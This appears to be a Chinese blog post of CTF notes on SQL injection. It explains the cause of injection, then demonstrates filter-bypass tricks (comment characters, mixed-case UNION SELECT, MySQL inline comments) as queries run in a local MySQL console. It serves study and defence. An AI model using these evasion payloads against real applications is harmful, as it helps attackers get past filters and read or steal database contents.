ctf sql注入關鍵詞繞過【積累中】
寫在前面:這個部落格知識點來源於個人ctf練習比賽中積累的知識點及網路中各個部落格的總結點,這裡做測試和記錄
0x00 sql注入理解
SQL注入能使攻擊者繞過認證機制,完全控制遠端伺服器上的資料庫。 SQL是結構化查詢語言的簡稱,它是訪問資料庫的事實標準。目前,大多數Web應用都使用SQL資料庫來存放應用程式的資料。幾乎所有的Web應用在後臺 都使用某種SQL資料庫。跟大多數語言一樣,SQL語法允許資料庫命令和使用者資料混雜在一起的。如果開發人員不細心的話,使用者資料就有可能被解釋成命令, 這樣的話,遠端使用者就不僅能向Web應用輸入資料,而且還可以在資料庫上執行任意命令了。
sql注入的原因,表面上說是因為 拼接字串,構成sql語句,沒有使用 sql語句預編譯,繫結變數;但是更深層次的原因是,將使用者輸入的字串,當成了 “sql語句” 來執行。
比如語句 String sql = "select id,no from user where id=" + id;我們希望使用者輸入的 id 的值,僅僅作為一個字串字面值,傳入資料庫執行,但是當輸入了: 2 or 1=1 時,其中的 or 1=1 並沒有作為 where id= 的字面值,而是作為了 sql語句 來執行的。所以其本質是將使用者的輸入的資料,作為了命令來執行。
測試環境:Server version: 5.7.17-log MySQL Community Server (GPL)
0x01 sql注入繞過
1.1 註釋符繞過
常用註釋符:
-- , /**/, #
驗證:mysql> select * from sql_test where id = /*11*/1;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | 123456 |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+ | 3 | test2 | 456 |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 |+----+----------+----------+1 row in set (0.00 sec)
這裡還從別的表哥部落格中發現了一種新姿勢:
mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+| 2 | test | 234 || 3 | test2 | 456 |+----+----------+----------+2 rows in set (0.00 sec)mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | 123456 |+----+----------+----------+1 row in set (0.00 sec)
理解如下:where id=1=0/1=1->where id=1=0=1id!=1,比如id=2 和 id=3的時候id=1返回了一個值為0的布林變數0=0繼而返回了1的布林變數再和=1比較,返回比較成功,故選取了id2,3的記錄先除後判等,左往右1.2 大小寫繞過
sql語句忽略關鍵詞是否大小寫,其實只要waf不是故意這樣設計的,基本上攔截都是大小寫一起攔截的
mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 || 2 | test | 234 |+----+----------+----------+2 rows in set (0.00 sec)
1.3 內聯註釋繞過
ummmm,解釋起來就是,它把一些特有的僅在MYSQL上的語句放在 /*! ... */ 中,這樣這些語句如果在其它資料庫中是不會被執行,但在MYSQL中它會執行
mysql> select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 || 2 | test | 234 |+----+----------+----------+2 rows in set (0.00 sec)